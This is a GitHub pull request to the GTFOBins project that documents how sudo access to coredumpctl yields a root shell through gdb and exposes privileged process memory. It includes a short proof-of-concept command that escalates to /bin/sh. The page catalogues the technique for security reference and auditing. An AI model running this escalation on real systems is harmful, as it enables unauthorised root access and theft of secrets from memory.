Skip to content

Add coredumpctl#571

Open
locaIhost wants to merge 2 commits intoGTFOBins:masterfrom
locaIhost:master
Open

Add coredumpctl#571
locaIhost wants to merge 2 commits intoGTFOBins:masterfrom
locaIhost:master

Conversation

@locaIhost
Copy link
Copy Markdown
Contributor

Summary

Add coredumpctl this systemd utility manages process core dumps and can invoke a debugger (gdb/lldb) with elevated privileges. When allowed via sudo, it provides a reliable path to root shell escape and sensitive memory disclosure.

Why

sudo access to coredumpctl is effectively equivalent to root access because:

  1. It can spawn a debugger (gdb) as root = Shell Escape
  2. It can extract core dumps of privileged processes = Sensitive Data Exposure (passwords, keys, tokens in memory)

POC

yes > /dev/null & kill -6 $!
sudo coredumpctl debug --debugger-arguments="-batch -ex '! /bin/sh'"

5341730476663706941-y
5341730476663706943-y

Notes

  1. Installed gdb on the system
  2. sudo access to coredumpctl

Check list

  1. Tested on Rocky Linux 10.1 and Ubuntu 24.04.4
  2. Submitting vet and format

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant